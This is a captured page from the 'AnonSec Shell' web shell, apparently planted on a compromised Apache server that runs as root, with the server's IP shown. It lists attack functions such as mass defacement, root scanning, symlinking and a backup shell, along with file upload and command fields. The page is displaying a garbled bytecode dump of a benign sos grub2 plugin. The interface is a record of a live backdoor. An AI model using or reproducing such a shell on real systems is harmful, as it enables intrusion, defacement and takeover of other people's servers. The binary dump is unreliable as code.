AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/grub2.cpython-310.pyc
o

���b�
�@s*ddlmZmZmZGdd�dee�ZdS)�)�Plugin�IndependentPlugin�SoSPredicatec@s,eZdZdZdZdZdZdd�Zdd�Zd	S)
�Grub2zGRUB2 bootloader�grub2)�boot)rz	grub2-efizgrub2-commoncCs~|�ddd��|�gd��|jddd�d}d	|d
d�}|j|t||d�d
�r.|d7}|j|ddit|dgd�d�dS)N�	grub2_cfg�
grub2_efi_cfg)�/boot/grub2/grub.cfgz/boot/efi/.*/grub.cfg)z/boot/efi/EFI/*/grub.cfgr
z/boot/grub2/grubenvz/boot/grub/grub.cfgz/boot/loader/entriesz/etc/default/grubz/etc/grub2.cfgz/etc/grub.dzls -lanR /boot�ls_boot)�tags�grub2-mkconfigz	%s --helpz--no-grubenv-update)�cmd�output)�cmd_outputs)�predz --no-grubenv-update�GRUB_DISABLE_OS_PROBER�true�dm_mod)�kmods)�envr)�
add_file_tags�
add_copy_spec�add_cmd_output�test_predicater)�self�grub_cmd�co�r�:/usr/lib/python3/dist-packages/sos/report/plugins/grub2.py�setups�
�zGrub2.setupcCsLd}d}d}d}|�d||�|�d||�|�d||�|�d||�dS)Nz(password )\s*(\S*)\s*(\S*)z!(password_pbkdf2)\s*(\S*)\s*(\S*)z\1 \2 ********z\1 \2 grub.pbkdf2.********r
z
.*\/grub\.)�do_cmd_output_sub�do_path_regex_sub)r�
passwd_exp�passwd_pbkdf2_exp�
passwd_sub�passwd_pbkdf2_subrrr�postproc3s0����zGrub2.postprocN)	�__name__�
__module__�__qualname__�
short_desc�plugin_name�profiles�packagesr r'rrrrrsrN)�sos.report.pluginsrrrrrrrr�<module>s

Anon7 - 2022
AnonSec Team